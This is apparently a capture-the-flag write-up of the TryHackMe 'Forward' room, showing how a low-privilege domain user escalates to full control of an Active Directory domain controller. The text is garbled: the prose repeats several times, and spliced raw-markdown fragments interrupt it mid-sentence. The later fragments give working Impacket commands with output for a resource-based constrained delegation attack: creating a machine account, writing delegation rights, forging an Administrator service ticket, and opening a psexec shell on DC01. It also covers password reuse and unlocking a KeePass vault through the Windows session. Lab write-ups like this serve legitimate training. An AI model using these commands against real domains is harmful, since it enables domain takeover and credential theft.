Forward THM

Forward THM The objective of the Forward room was to move through the compromised Active Directory environment and retrieve the Administrator flag. Screenshot 2026-08-05 at 00-12-45 The room already provided an initial set of domain credentials: Unlike a normal machine, we did not need to find the initial foothold. We were already inside the domain as j.smith, and the challenge was to find a path from this low-privileged account to full control of the environment. After starting the machine and connecting to the TryHackMe VPN, the target IP address was: Nmap Scanning I started with an Nmap scan to understand what services were exposed by the target. Analysing the Nmap Scan The combination of DNS, Kerberos, LDAP, SMB, and Global Catalog services immediately suggested that the target was an Active Directory Domain Controller. The scan also revealed the main details of the environment: RDP was exposed on port 3389, and WinRM was available on port 5985, giving us two possible options for remote access if the supplied account had the required permissions. SMB signing was enabled and required, so SMB relay attacks were not a useful direction here. Since we already had valid domain credentials, I focused instead on authenticated enumeration. Adding the Domain to the Hosts File I added the domain name to /etc/hosts so that the tools on my attack machine could resolve it correctly. Validating the Provided Credentials Before continuing, I confirmed that the credentials supplied by the room were valid. The successful authentication confirmed that j.smith was a valid domain user. SMB Share Enumeration I checked the available SMB shares to see whether the account could access any files containing credentials, scripts, backups, or configuration data. The only custom share that stood out was: I connected to it using smbclient. The share was empty, so there was nothing useful to retrieve from it. Enumerating Domain Users Next, I listed the domain users to understand what accounts existed in the environment. Apart from the default domain accounts, the main users were: The descriptions suggested that the accounts belonged to different levels of the IT and Help Desk teams. At this point, I did not have credentials for the other users, but the account names would be useful later. Testing RDP Access Since RDP was open, I checked whether j.smith was allowed to log in remotely. The credentials worked over RDP, so I connected to the system using xfreerdp3. Screenshot 2026-08-05 at 00-35-39 Discovering a KeePass Database While looking through the j.smith profile, I found a file named: The file was located in the Documents folder and was clearly a KeePass database. Since password managers often contain credentials for other users or services, this became the next thing to investigate. I wanted a local copy of the file, so I reconnected through RDP with one of my Linux directories mounted as a shared drive. The shared drive appeared inside the Windows session, allowing me to copy the KeePass database directly to my attack machine. Screenshot 2026-08-05 at 00-38-02 Opening the KeePass Database I first tried opening the database locally. Screenshot 2026-08-05 at 00-39-13 The database asked for authentication, and I did not have the master password. I briefly looked into cracking it, but that approach did not work with the tools available in my setup. Instead of spending more time on that path, I checked whether KeePass was installed on the Windows system. Screenshot 2026-08-05 at 00-43-23 KeePass was already installed, so I opened it directly from the j.smith desktop. Screenshot 2026-08-05 at 00-44-34 The database was already loaded and gave three authentication options: I selected the Windows user account option. Because the database had been tied to the Windows profile, the current j.smith session was able to unlock it without knowing the master password. Screenshot 2026-08-05 at 00-46-30 Inside the database, I found credentials for another domain user: This gave us a new account to test and provided the next step in the lateral movement path. Validating the t.jones Credentials Before connecting through RDP, I validated the recovered credentials using NetExec. The credentials worked successfully, so I connected to the target as t.jones. Connecting as t.jones Screenshot 2026-08-05 at 00-50-41 After logging in, I checked the desktop, documents, running applications, and other accessible locations, but I could not find anything useful. Screenshot 2026-08-05 at 00-52-16 At this point, I was stuck with the t.jones account, so I decided to enumerate the Active Directory environment using BloodHound. Collecting BloodHound Data I used NetExec to collect the BloodHound data through LDAP. The collection completed successfully and generated a ZIP file containing the Active Directory data. I started BloodHound, uploaded the ZIP file, and marked t.jones as owned. After checking the outbound permissions of t.jones, I could not find any useful privilege-escalation path from that account. However, while checking the other users, I noticed that r.williams had interesting permissions. The next objective was to compromise the r.williams account. Enumerating Domain Users I listed the domain users again using the t.jones credentials. The two accounts that were still worth testing were: I added them to a file named users.txt. Testing for Password Reuse Since t.jones and r.williams were both Help Desk users, I tested whether the same password had been reused across their accounts. The password did not work for svc.helpdesk, but it worked for r.williams. The recovered credentials were: I marked r.williams as owned in BloodHound and continued checking the permissions available from this account. Password Reuse Leads to Further Privilege Escalation After compromising multiple user accounts, we discovered that r.williams was also using the same password. Password reuse is one of the most common weaknesses in Active Directory environments because compromising one account often leads to the compromise of additional users. Since we now have valid credentials for r.williams, we can mark the account as Owned in BloodHound to visualize the newly available attack paths. Screenshot 2026-08-05 at 01-04-42 After recalculating the graph, BloodHound reveals a very interesting relationship. The r.williams user has the AddAllowedToAct permission over the DC01$ computer account. This permission allows us to modify the Resource-Based Constrained Delegation (RBCD) configuration of the Domain Controller, which is a well-known privilege escalation technique in Active Directory. Understanding Resource-Based Constrained Delegation (RBCD) Before abusing this permission, it is important to understand what Resource-Based Constrained Delegation actually is. Traditional Kerberos delegation is configured on the account that performs the delegation. Resource-Based Constrained Delegation works differently. Instead of configuring the delegating account, the target computer itself specifies which computers are allowed to impersonate users when connecting to it. This trust relationship is stored inside the Active Directory attribute: If an attacker can modify this attribute on a computer object, they can authorize another computer account under their control to impersonate any domain user, including Domain Administrators, when authenticating to that computer. For this attack we have: | Object | Purpose | |---------|---------| | DC01$ | Target computer we want to compromise | | r.williams | User that has permission to modify DC01

#39;s delegation settings | | Pentestnotes$ | Machine account we will create and fully control | The overall attack consists of four stages: Create a machine account we control. Configure RBCD on the Domain Controller. Request a Kerberos ticket while impersonating the Administrator. Authenticate to the Domain Controller using that Kerberos ticket. Creating a Machine Account To abuse RBCD we first need a computer account that we completely control. By default, Active Directory allows authenticated users to create a limited number of machine accounts through the MachineAccountQuota setting (default value: 10). This behaviour is intended to simplify domain joins but is frequently abused during Active Directory attacks. Impacket provides the addcomputer utility which creates a new computer account using our compromised credentials. Output: Our newly created computer account is: Creating our own machine account is important because we fully control its credentials. Later, Kerberos will authenticate this machine and allow it to request delegated tickets on behalf of other users. Configuring Resource-Based Constrained Delegation Now that we own a computer account, we can instruct the Domain Controller to trust it for delegation. Using the permissions inherited from r.williams, we modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the DC01$ computer object. Output: Let's understand what happened. Originally, the msDS-AllowedToActOnBehalfOfOtherIdentity attribute was empty, meaning no computer was trusted to impersonate users when connecting to DC01$. After executing the command, our Pentestnotes$ machine account becomes trusted by the Domain Controller. This means Kerberos will now allow our machine account to request service tickets for other users, including Administrator, by using the Kerberos S4U2Self and S4U2Proxy extensions. This trust relationship is the core of the entire RBCD attack. Requesting a Kerberos Service Ticket Now that delegation has been configured, we can request a Kerberos ticket while impersonating the Administrator account. Impacket's getST utility performs this automatically. Internally, the tool performs two Kerberos extensions: S4U2Self – Requests a service ticket while pretending to be another user. S4U2Proxy – Exchanges that ticket for a service ticket to another service that our delegated computer is allowed to access. We execute: Breaking down the output: A Ticket Granting Ticket (TGT) is first obtained for Pentestnotes$. Kerberos performs S4U2Self, allowing our machine account to request a ticket while pretending to be Administrator. Kerberos then performs S4U2Proxy, which exchanges that ticket for a valid CIFS service ticket to DC01. Finally, the ticket is saved locally inside a Kerberos credential cache (.ccache). Even though we never knew the Administrator's password, Kerberos issued us a valid service ticket because DC01 now trusts our machine account for delegation. Loading the Kerberos Ticket Linux Kerberos-aware tools use the environment variable KRB5CCNAME to determine which Kerberos credential cache should be used. We simply export the ticket that was generated in the previous step. We can verify that the ticket has been loaded correctly. Output: The output confirms that our current Kerberos session is authenticated as Administrator for the CIFS service running on DC01. Since Kerberos relies on tickets rather than passwords, any Kerberos-aware tool can now authenticate using this cached ticket. Updating Local Name Resolution Before connecting to the Domain Controller, we need to ensure that DC01.ctf.local resolves correctly. Add the following entry to the local /etc/hosts file. This step is important because Kerberos authentication is Service Principal Name (SPN) aware. The hostname used during authentication must match the hostname embedded inside the Kerberos ticket. If the hostname cannot be resolved correctly, Kerberos authentication will fail even though the ticket itself is completely valid. Authenticating as Domain Administrator With the Kerberos ticket loaded, we can authenticate to the Domain Controller without supplying a password or NTLM hash. Impacket's psexec supports Kerberos authentication using cached tickets. The -k option instructs Impacket to authenticate using Kerberos instead of NTLM, while -no-pass tells the tool not to prompt for credentials because our authentica

Forward THM | Pentest Notes

Forward THM

Forward THM The objective of the Forward room was to move through the compromised Active Directory environment and retrieve the Administrator flag. Screenshot 2026-08-05 at 00-12-45 The room already provided an initial set of domain credentials: Unlike a normal machine, we did not need to find the initial foothold. We were already inside the domain as j.smith, and the challenge was to find a path from this low-privileged account to full control of the environment. After starting the machine and connecting to the TryHackMe VPN, the target IP address was: Nmap Scanning I started with an Nmap scan to understand what services were exposed by the target. Analysing the Nmap Scan The combination of DNS, Kerberos, LDAP, SMB, and Global Catalog services immediately suggested that the target was an Active Directory Domain Controller. The scan also revealed the main details of the environment: RDP was exposed on port 3389, and WinRM was available on port 5985, giving us two possible options for remote access if the supplied account had the required permissions. SMB signing was enabled and required, so SMB relay attacks were not a useful direction here. Since we already had valid domain credentials, I focused instead on authenticated enumeration. Adding the Domain to the Hosts File I added the domain name to /etc/hosts so that the tools on my attack machine could resolve it correctly. Validating the Provided Credentials Before continuing, I confirmed that the credentials supplied by the room were valid. The successful authentication confirmed that j.smith was a valid domain user. SMB Share Enumeration I checked the available SMB shares to see whether the account could access any files containing credentials, scripts, backups, or configuration data. The only custom share that stood out was: I connected to it using smbclient. The share was empty, so there was nothing useful to retrieve from it. Enumerating Domain Users Next, I listed the domain users to understand what accounts existed in the environment. Apart from the default domain accounts, the main users were: The descriptions suggested that the accounts belonged to different levels of the IT and Help Desk teams. At this point, I did not have credentials for the other users, but the account names would be useful later. Testing RDP Access Since RDP was open, I checked whether j.smith was allowed to log in remotely. The credentials worked over RDP, so I connected to the system using xfreerdp3. Screenshot 2026-08-05 at 00-35-39 Discovering a KeePass Database While looking through the j.smith profile, I found a file named: The file was located in the Documents folder and was clearly a KeePass database. Since password managers often contain credentials for other users or services, this became the next thing to investigate. I wanted a local copy of the file, so I reconnected through RDP with one of my Linux directories mounted as a shared drive. The shared drive appeared inside the Windows session, allowing me to copy the KeePass database directly to my attack machine. Screenshot 2026-08-05 at 00-38-02 Opening the KeePass Database I first tried opening the database locally. Screenshot 2026-08-05 at 00-39-13 The database asked for authentication, and I did not have the master password. I briefly looked into cracking it, but that approach did not work with the tools available in my setup. Instead of spending more time on that path, I checked whether KeePass was installed on the Windows system. Screenshot 2026-08-05 at 00-43-23 KeePass was already installed, so I opened it directly from the j.smith desktop. Screenshot 2026-08-05 at 00-44-34 The database was already loaded and gave three authentication options: I selected the Windows user account option. Because the database had been tied to the Windows profile, the current j.smith session was able to unlock it without knowing the master password. Screenshot 2026-08-05 at 00-46-30 Inside the database, I found credentials for another domain user: This gave us a new account to test and provided the next step in the lateral movement path. Validating the t.jones Credentials Before connecting through RDP, I validated the recovered credentials using NetExec. The credentials worked successfully, so I connected to the target as t.jones. Connecting as t.jones Screenshot 2026-08-05 at 00-50-41 After logging in, I checked the desktop, documents, running applications, and other accessible locations, but I could not find anything useful. Screenshot 2026-08-05 at 00-52-16 At this point, I was stuck with the t.jones account, so I decided to enumerate the Active Directory environment using BloodHound. Collecting BloodHound Data I used NetExec to collect the BloodHound data through LDAP. The collection completed successfully and generated a ZIP file containing the Active Directory data. I started BloodHound, uploaded the ZIP file, and marked t.jones as owned. After checking the outbound permissions of t.jones, I could not find any useful privilege-escalation path from that account. However, while checking the other users, I noticed that r.williams had interesting permissions. The next objective was to compromise the r.williams account. Enumerating Domain Users I listed the domain users again using the t.jones credentials. The two accounts that were still worth testing were: I added them to a file named users.txt. Testing for Password Reuse Since t.jones and r.williams were both Help Desk users, I tested whether the same password had been reused across their accounts. The password did not work for svc.helpdesk, but it worked for r.williams. The recovered credentials were: I marked r.williams as owned in BloodHound and continued checking the permissions available from this account. Password Reuse Leads to Further Privilege Escalation After compromising multiple user accounts, we discovered that r.williams was also using the same password. Password reuse is one of the most common weaknesses in Active Directory environments because compromising one account often leads to the compromise of additional users. Since we now have valid credentials for r.williams, we can mark the account as Owned in BloodHound to visualize the newly available attack paths. Screenshot 2026-08-05 at 01-04-42 After recalculating the graph, BloodHound reveals a very interesting relationship. The r.williams user has the AddAllowedToAct permission over the DC01$ computer account. This permission allows us to modify the Resource-Based Constrained Delegation (RBCD) configuration of the Domain Controller, which is a well-known privilege escalation technique in Active Directory. Understanding Resource-Based Constrained Delegation (RBCD) Before abusing this permission, it is important to understand what Resource-Based Constrained Delegation actually is. Traditional Kerberos delegation is configured on the account that performs the delegation. Resource-Based Constrained Delegation works differently. Instead of configuring the delegating account, the target computer itself specifies which computers are allowed to impersonate users when connecting to it. This trust relationship is stored inside the Active Directory attribute: If an attacker can modify this attribute on a computer object, they can authorize another computer account under their control to impersonate any domain user, including Domain Administrators, when authenticating to that computer. For this attack we have: | Object | Purpose | |---------|---------| | DC01$ | Target computer we want to compromise | | r.williams | User that has permission to modify DC01

#39;s delegation settings | | Pentestnotes$ | Machine account we will create and fully control | The overall attack consists of four stages: Create a machine account we control. Configure RBCD on the Domain Controller. Request a Kerberos ticket while impersonating the Administrator. Authenticate to the Domain Controller using that Kerberos ticket. Creating a Machine Account To abuse RBCD we first need a computer account that we completely control. By default, Active Directory allows authenticated users to create a limited number of machine accounts through the MachineAccountQuota setting (default value: 10). This behaviour is intended to simplify domain joins but is frequently abused during Active Directory attacks. Impacket provides the addcomputer utility which creates a new computer account using our compromised credentials. Output: Our newly created computer account is: Creating our own machine account is important because we fully control its credentials. Later, Kerberos will authenticate this machine and allow it to request delegated tickets on behalf of other users. Configuring Resource-Based Constrained Delegation Now that we own a computer account, we can instruct the Domain Controller to trust it for delegation. Using the permissions inherited from r.williams, we modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the DC01$ computer object. Output: Let's understand what happened. Originally, the msDS-AllowedToActOnBehalfOfOtherIdentity attribute was empty, meaning no computer was trusted to impersonate users when connecting to DC01$. After executing the command, our Pentestnotes$ machine account becomes trusted by the Domain Controller. This means Kerberos will now allow our machine account to request service tickets for other users, including Administrator, by using the Kerberos S4U2Self and S4U2Proxy extensions. This trust relationship is the core of the entire RBCD attack. Requesting a Kerberos Service Ticket Now that delegation has been configured, we can request a Kerberos ticket while impersonating the Administrator account. Impacket's getST utility performs this automatically. Internally, the tool performs two Kerberos extensions: S4U2Self – Requests a service ticket while pretending to be another user. S4U2Proxy – Exchanges that ticket for a service ticket to another service that our delegated computer is allowed to access. We execute: Breaking down the output: A Ticket Granting Ticket (TGT) is first obtained for Pentestnotes$. Kerberos performs S4U2Self, allowing our machine account to request a ticket while pretending to be Administrator. Kerberos then performs S4U2Proxy, which exchanges that ticket for a valid CIFS service ticket to DC01. Finally, the ticket is saved locally inside a Kerberos credential cache (.ccache). Even though we never knew the Administrator's password, Kerberos issued us a valid service ticket because DC01 now trusts our machine account for delegation. Loading the Kerberos Ticket Linux Kerberos-aware tools use the environment variable KRB5CCNAME to determine which Kerberos credential cache should be used. We simply export the ticket that was generated in the previous step. We can verify that the ticket has been loaded correctly. Output: The output confirms that our current Kerberos session is authenticated as Administrator for the CIFS service running on DC01. Since Kerberos relies on tickets rather than passwords, any Kerberos-aware tool can now authenticate using this cached ticket. Updating Local Name Resolution Before connecting to the Domain Controller, we need to ensure that DC01.ctf.local resolves correctly. Add the following entry to the local /etc/hosts file. This step is important because Kerberos authentication is Service Principal Name (SPN) aware. The hostname used during authentication must match the hostname embedded inside the Kerberos ticket. If the hostname cannot be resolved correctly, Kerberos authentication will fail even though the ticket itself is completely valid. Authenticating as Domain Administrator With the Kerberos ticket loaded, we can authenticate to the Domain Controller without supplying a password or NTLM hash. Impacket's psexec supports Kerberos authentication using cached tickets. The -k option instructs Impacket to authenticate using Kerberos instead of NTLM, while -no-pass tells the tool not to prompt for credentials because our authentica

** computer account.\n\nThis permission allows us to modify the **Resource-Based Constrained Delegation (RBCD)** configuration of the Domain Controller, which is a well-known privilege escalation technique in Active Directory.\n\n## {red:Understanding Resource-Based Constrained Delegation (RBCD)}\n\nBefore abusing this permission, it is important to understand what Resource-Based Constrained Delegation actually is.\n\nTraditional Kerberos delegation is configured on the account that performs the delegation. Resource-Based Constrained Delegation works differently. Instead of configuring the delegating account, **the target computer itself specifies which computers are allowed to impersonate users when connecting to it.**\n\nThis trust relationship is stored inside the Active Directory attribute:\n\n```text\nmsDS-AllowedToActOnBehalfOfOtherIdentity\n```\n\nIf an attacker can modify this attribute on a computer object, they can authorize another computer account under their control to impersonate **any domain user**, including **Domain Administrators**, when authenticating to that computer.\n\nFor this attack we have:\n\n| Object | Purpose |\n|---------|---------|\n| **DC01$** | Target computer we want to compromise |\n| **r.williams** | User that has permission to modify DC01 s delegation settings |\n| **Pentestnotes$** | Machine account we will create and fully control |\n\nThe overall attack consists of four stages:\n\n1. Create a machine account we control.\n2. Configure RBCD on the Domain Controller.\n3. Request a Kerberos ticket while impersonating the Administrator.\n4. Authenticate to the Domain Controller using that Kerberos ticket.\n\n## {red:Creating a Machine Account}\n\nTo abuse RBCD we first need a computer account that we completely control.\n\nBy default, Active Directory allows authenticated users to create a limited number of machine accounts through the **MachineAccountQuota** setting (default value: **10**). This behaviour is intended to simplify domain joins but is frequently abused during Active Directory attacks.\n\nImpacket provides the **`addcomputer`** utility which creates a new computer account using our compromised credentials.\n\n```bash\nimpacket-addcomputer -computer-name 'Pentestnotes -computer-pass 'hacker@!' -dc-ip ctf.local 'ctf.local/r.williams:{REDACTED}'\n```\n\nOutput:\n\n```text\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Successfully added machine account Pentestnotes$ with password hacker@!.\n```\n\nOur newly created computer account is:\n\n```text\nComputer Name : Pentestnotes$\nPassword : hacker@!\n```\n\nCreating our own machine account is important because we fully control its credentials. Later, Kerberos will authenticate this machine and allow it to request delegated tickets on behalf of other users.\n\n## {red:Configuring Resource-Based Constrained Delegation}\n\nNow that we own a computer account, we can instruct the Domain Controller to trust it for delegation.\n\nUsing the permissions inherited from **`r.williams`**, we modify the **`msDS-AllowedToActOnBehalfOfOtherIdentity`** attribute on the **`DC01 Forward THM | Pentest Notes

Forward THM

Forward THM The objective of the Forward room was to move through the compromised Active Directory environment and retrieve the Administrator flag. Screenshot 2026-08-05 at 00-12-45 The room already provided an initial set of domain credentials: Unlike a normal machine, we did not need to find the initial foothold. We were already inside the domain as j.smith, and the challenge was to find a path from this low-privileged account to full control of the environment. After starting the machine and connecting to the TryHackMe VPN, the target IP address was: Nmap Scanning I started with an Nmap scan to understand what services were exposed by the target. Analysing the Nmap Scan The combination of DNS, Kerberos, LDAP, SMB, and Global Catalog services immediately suggested that the target was an Active Directory Domain Controller. The scan also revealed the main details of the environment: RDP was exposed on port 3389, and WinRM was available on port 5985, giving us two possible options for remote access if the supplied account had the required permissions. SMB signing was enabled and required, so SMB relay attacks were not a useful direction here. Since we already had valid domain credentials, I focused instead on authenticated enumeration. Adding the Domain to the Hosts File I added the domain name to /etc/hosts so that the tools on my attack machine could resolve it correctly. Validating the Provided Credentials Before continuing, I confirmed that the credentials supplied by the room were valid. The successful authentication confirmed that j.smith was a valid domain user. SMB Share Enumeration I checked the available SMB shares to see whether the account could access any files containing credentials, scripts, backups, or configuration data. The only custom share that stood out was: I connected to it using smbclient. The share was empty, so there was nothing useful to retrieve from it. Enumerating Domain Users Next, I listed the domain users to understand what accounts existed in the environment. Apart from the default domain accounts, the main users were: The descriptions suggested that the accounts belonged to different levels of the IT and Help Desk teams. At this point, I did not have credentials for the other users, but the account names would be useful later. Testing RDP Access Since RDP was open, I checked whether j.smith was allowed to log in remotely. The credentials worked over RDP, so I connected to the system using xfreerdp3. Screenshot 2026-08-05 at 00-35-39 Discovering a KeePass Database While looking through the j.smith profile, I found a file named: The file was located in the Documents folder and was clearly a KeePass database. Since password managers often contain credentials for other users or services, this became the next thing to investigate. I wanted a local copy of the file, so I reconnected through RDP with one of my Linux directories mounted as a shared drive. The shared drive appeared inside the Windows session, allowing me to copy the KeePass database directly to my attack machine. Screenshot 2026-08-05 at 00-38-02 Opening the KeePass Database I first tried opening the database locally. Screenshot 2026-08-05 at 00-39-13 The database asked for authentication, and I did not have the master password. I briefly looked into cracking it, but that approach did not work with the tools available in my setup. Instead of spending more time on that path, I checked whether KeePass was installed on the Windows system. Screenshot 2026-08-05 at 00-43-23 KeePass was already installed, so I opened it directly from the j.smith desktop. Screenshot 2026-08-05 at 00-44-34 The database was already loaded and gave three authentication options: I selected the Windows user account option. Because the database had been tied to the Windows profile, the current j.smith session was able to unlock it without knowing the master password. Screenshot 2026-08-05 at 00-46-30 Inside the database, I found credentials for another domain user: This gave us a new account to test and provided the next step in the lateral movement path. Validating the t.jones Credentials Before connecting through RDP, I validated the recovered credentials using NetExec. The credentials worked successfully, so I connected to the target as t.jones. Connecting as t.jones Screenshot 2026-08-05 at 00-50-41 After logging in, I checked the desktop, documents, running applications, and other accessible locations, but I could not find anything useful. Screenshot 2026-08-05 at 00-52-16 At this point, I was stuck with the t.jones account, so I decided to enumerate the Active Directory environment using BloodHound. Collecting BloodHound Data I used NetExec to collect the BloodHound data through LDAP. The collection completed successfully and generated a ZIP file containing the Active Directory data. I started BloodHound, uploaded the ZIP file, and marked t.jones as owned. After checking the outbound permissions of t.jones, I could not find any useful privilege-escalation path from that account. However, while checking the other users, I noticed that r.williams had interesting permissions. The next objective was to compromise the r.williams account. Enumerating Domain Users I listed the domain users again using the t.jones credentials. The two accounts that were still worth testing were: I added them to a file named users.txt. Testing for Password Reuse Since t.jones and r.williams were both Help Desk users, I tested whether the same password had been reused across their accounts. The password did not work for svc.helpdesk, but it worked for r.williams. The recovered credentials were: I marked r.williams as owned in BloodHound and continued checking the permissions available from this account. Password Reuse Leads to Further Privilege Escalation After compromising multiple user accounts, we discovered that r.williams was also using the same password. Password reuse is one of the most common weaknesses in Active Directory environments because compromising one account often leads to the compromise of additional users. Since we now have valid credentials for r.williams, we can mark the account as Owned in BloodHound to visualize the newly available attack paths. Screenshot 2026-08-05 at 01-04-42 After recalculating the graph, BloodHound reveals a very interesting relationship. The r.williams user has the AddAllowedToAct permission over the DC01$ computer account. This permission allows us to modify the Resource-Based Constrained Delegation (RBCD) configuration of the Domain Controller, which is a well-known privilege escalation technique in Active Directory. Understanding Resource-Based Constrained Delegation (RBCD) Before abusing this permission, it is important to understand what Resource-Based Constrained Delegation actually is. Traditional Kerberos delegation is configured on the account that performs the delegation. Resource-Based Constrained Delegation works differently. Instead of configuring the delegating account, the target computer itself specifies which computers are allowed to impersonate users when connecting to it. This trust relationship is stored inside the Active Directory attribute: If an attacker can modify this attribute on a computer object, they can authorize another computer account under their control to impersonate any domain user, including Domain Administrators, when authenticating to that computer. For this attack we have: | Object | Purpose | |---------|---------| | DC01$ | Target computer we want to compromise | | r.williams | User that has permission to modify DC01

#39;s delegation settings | | Pentestnotes$ | Machine account we will create and fully control | The overall attack consists of four stages: Create a machine account we control. Configure RBCD on the Domain Controller. Request a Kerberos ticket while impersonating the Administrator. Authenticate to the Domain Controller using that Kerberos ticket. Creating a Machine Account To abuse RBCD we first need a computer account that we completely control. By default, Active Directory allows authenticated users to create a limited number of machine accounts through the MachineAccountQuota setting (default value: 10). This behaviour is intended to simplify domain joins but is frequently abused during Active Directory attacks. Impacket provides the addcomputer utility which creates a new computer account using our compromised credentials. Output: Our newly created computer account is: Creating our own machine account is important because we fully control its credentials. Later, Kerberos will authenticate this machine and allow it to request delegated tickets on behalf of other users. Configuring Resource-Based Constrained Delegation Now that we own a computer account, we can instruct the Domain Controller to trust it for delegation. Using the permissions inherited from r.williams, we modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the DC01$ computer object. Output: Let's understand what happened. Originally, the msDS-AllowedToActOnBehalfOfOtherIdentity attribute was empty, meaning no computer was trusted to impersonate users when connecting to DC01$. After executing the command, our Pentestnotes$ machine account becomes trusted by the Domain Controller. This means Kerberos will now allow our machine account to request service tickets for other users, including Administrator, by using the Kerberos S4U2Self and S4U2Proxy extensions. This trust relationship is the core of the entire RBCD attack. Requesting a Kerberos Service Ticket Now that delegation has been configured, we can request a Kerberos ticket while impersonating the Administrator account. Impacket's getST utility performs this automatically. Internally, the tool performs two Kerberos extensions: S4U2Self – Requests a service ticket while pretending to be another user. S4U2Proxy – Exchanges that ticket for a service ticket to another service that our delegated computer is allowed to access. We execute: Breaking down the output: A Ticket Granting Ticket (TGT) is first obtained for Pentestnotes$. Kerberos performs S4U2Self, allowing our machine account to request a ticket while pretending to be Administrator. Kerberos then performs S4U2Proxy, which exchanges that ticket for a valid CIFS service ticket to DC01. Finally, the ticket is saved locally inside a Kerberos credential cache (.ccache). Even though we never knew the Administrator's password, Kerberos issued us a valid service ticket because DC01 now trusts our machine account for delegation. Loading the Kerberos Ticket Linux Kerberos-aware tools use the environment variable KRB5CCNAME to determine which Kerberos credential cache should be used. We simply export the ticket that was generated in the previous step. We can verify that the ticket has been loaded correctly. Output: The output confirms that our current Kerberos session is authenticated as Administrator for the CIFS service running on DC01. Since Kerberos relies on tickets rather than passwords, any Kerberos-aware tool can now authenticate using this cached ticket. Updating Local Name Resolution Before connecting to the Domain Controller, we need to ensure that DC01.ctf.local resolves correctly. Add the following entry to the local /etc/hosts file. This step is important because Kerberos authentication is Service Principal Name (SPN) aware. The hostname used during authentication must match the hostname embedded inside the Kerberos ticket. If the hostname cannot be resolved correctly, Kerberos authentication will fail even though the ticket itself is completely valid. Authenticating as Domain Administrator With the Kerberos ticket loaded, we can authenticate to the Domain Controller without supplying a password or NTLM hash. Impacket's psexec supports Kerberos authentication using cached tickets. The -k option instructs Impacket to authenticate using Kerberos instead of NTLM, while -no-pass tells the tool not to prompt for credentials because our authentica

** computer object.\n\n```bash\nimpacket-rbcd -dc-ip ctf.local -delegate-from 'Pentestnotes -delegate-to 'DC01 -action 'write' 'ctf.local/r.williams:{REDACTED}'\n```\n\nOutput:\n\n```text\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty\n[*] Delegation rights modified successfully!\n[*] Pentestnotes$ can now impersonate users on DC01$ via S4U2Proxy\n[*] Accounts allowed to act on behalf of other identity:\n[*] Pentestnotes$ (S-1-5-21-1966530601-3185510712-10604624-3109)\n```\n\nLet's understand what happened.\n\nOriginally, the **`msDS-AllowedToActOnBehalfOfOtherIdentity`** attribute was empty, meaning no computer was trusted to impersonate users when connecting to **DC01$**.\n\nAfter executing the command, our **Pentestnotes$** machine account becomes trusted by the Domain Controller.\n\nThis means Kerberos will now allow our machine account to request service tickets for **other users**, including **Administrator**, by using the Kerberos **S4U2Self** and **S4U2Proxy** extensions.\n\nThis trust relationship is the core of the entire RBCD attack.\n\n## {red:Requesting a Kerberos Service Ticket}\n\nNow that delegation has been configured, we can request a Kerberos ticket while impersonating the **Administrator** account.\n\nImpacket's **`getST`** utility performs this automatically.\n\nInternally, the tool performs two Kerberos extensions:\n\n- **S4U2Self** – Requests a service ticket while pretending to be another user.\n- **S4U2Proxy** – Exchanges that ticket for a service ticket to another service that our delegated computer is allowed to access.\n\nWe execute:\n\n```bash\nimpacket-getST -spn 'cifs/DC01.ctf.local' -impersonate 'Administrator' 'ctf.local/Pentestnotes$:hacker@!'\n\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[-] CCache file is not found. Skipping...\n[*] Getting TGT for user\n[*] Impersonating Administrator\n[*] Requesting S4U2Self\n[*] Requesting S4U2Proxy\n[*] Saving ticket in Administrator@[email protected]\n```\n\nBreaking down the output:\n\n- A **Ticket Granting Ticket (TGT)** is first obtained for **Pentestnotes$**.\n- Kerberos performs **S4U2Self**, allowing our machine account to request a ticket while pretending to be **Administrator**.\n- Kerberos then performs **S4U2Proxy**, which exchanges that ticket for a valid **CIFS** service ticket to **DC01**.\n- Finally, the ticket is saved locally inside a Kerberos credential cache (`.ccache`).\n\nEven though we never knew the Administrator's password, Kerberos issued us a valid service ticket because **DC01 now trusts our machine account for delegation**.\n\n## {red:Loading the Kerberos Ticket}\n\nLinux Kerberos-aware tools use the environment variable **`KRB5CCNAME`** to determine which Kerberos credential cache should be used.\n\nWe simply export the ticket that was generated in the previous step.\n\n```bash\nexport KRB5CCNAME=Administrator@[email protected]\n```\n\nWe can verify that the ticket has been loaded correctly.\n\n```bash\nklist\n```\n\nOutput:\n\n```text\nTicket cache: FILE:Administrator@[email protected]\nDefault principal: [email protected]\n\nValid starting Expires Service principal\n08/05/2026 01:10:15 08/05/2026 11:10:15 cifs/[email protected]\n```\n\nThe output confirms that our current Kerberos session is authenticated as **Administrator** for the **CIFS** service running on **DC01**.\n\nSince Kerberos relies on tickets rather than passwords, any Kerberos-aware tool can now authenticate using this cached ticket.\n\n\n## {red:Updating Local Name Resolution}\n\nBefore connecting to the Domain Controller, we need to ensure that **`DC01.ctf.local`** resolves correctly.\n\nAdd the following entry to the local `/etc/hosts` file.\n\n```text\nDC01.ctf.local\n```\n\nThis step is important because Kerberos authentication is **Service Principal Name (SPN)** aware. The hostname used during authentication must match the hostname embedded inside the Kerberos ticket.\n\nIf the hostname cannot be resolved correctly, Kerberos authentication will fail even though the ticket itself is completely valid.\n\n## {red:Authenticating as Domain Administrator}\n\nWith the Kerberos ticket loaded, we can authenticate to the Domain Controller without supplying a password or NTLM hash.\n\nImpacket's **`psexec`** supports Kerberos authentication using cached tickets.\n\n```bash\nimpacket-psexec -k -no-pass ctf.local/[email protected]\n\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Requesting shares on DC01.ctf.local.....\n[*] Found writable share ADMIN$\n[*] Uploading file sZlOuOUO.exe\n[*] Opening SVCManager on DC01.ctf.local.....\n[*] Creating service iVdO on DC01.ctf.local.....\n[*] Starting service iVdO.....\n[!] Press help for extra shell commands\n\nMicrosoft Windows [Version 10.0.17763.1821]\n(c) 2018 Microsoft Corporation. All rights reserved.\n\nC:\\Windows\\system32>\n```\n\nThe `-k` option instructs Impacket to authenticate using Kerberos instead of NTLM, while `-no-pass` tells the tool not to prompt for credentials because our authentication material already exists inside the Kerberos credential cache.\n\nInternally, PsExec uploads a temporary executable to the **ADMIN$** share, creates a temporary Windows service to execute it, and then connects us to the interactive shell.\n\nBecause our Kerberos ticket represents the 